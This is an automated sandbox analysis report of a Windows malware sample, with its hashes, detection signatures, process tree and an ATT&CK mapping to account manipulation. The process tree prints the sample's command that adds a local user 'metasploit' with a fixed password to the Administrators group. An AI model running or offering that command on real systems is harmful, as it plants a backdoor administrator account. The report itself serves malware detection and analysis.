Analysis

  • max time kernel
    130s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    24-05-2022 22:04

General

  • Target

    d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe

  • Size

    72KB

  • MD5

    0fdad4f4a85f6279ffac0f19e32a2868

  • SHA1

    c0348bbb7e64049b7965497333e66c78d0555812

  • SHA256

    d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e

  • SHA512

    5c499c710ffd4b551ff9473e1f7f28112f537f46e05d99b565ebf96636891e4ca4022018fd2cea82248970a53c9e0fee6f7b8637721487f48934d296ede3da15

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe
    "C:\Users\Admin\AppData\Local\Temp\d5514891a2a649e390f064dd7092f09b0fb71b7e3af754f89014541393cdd02e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\SysWOW64\net.exe
        net localgroup Administrators metasploit /ADD
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1716
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Administrators metasploit /ADD
          4⤵
            PID:8
    • C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user metasploit Metasploit$1 /ADD
      1⤵
        PID:1512
      • C:\Windows\SysWOW64\net.exe
        net user metasploit Metasploit$1 /ADD
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3364

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Account Manipulation

      1
      T1098

      Replay Monitor

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      Downloads

      • memory/8-134-0x0000000000000000-mapping.dmp
      • memory/1512-132-0x0000000000000000-mapping.dmp
      • memory/1716-133-0x0000000000000000-mapping.dmp
      • memory/3364-131-0x0000000000000000-mapping.dmp
      • memory/4568-130-0x0000000000000000-mapping.dmp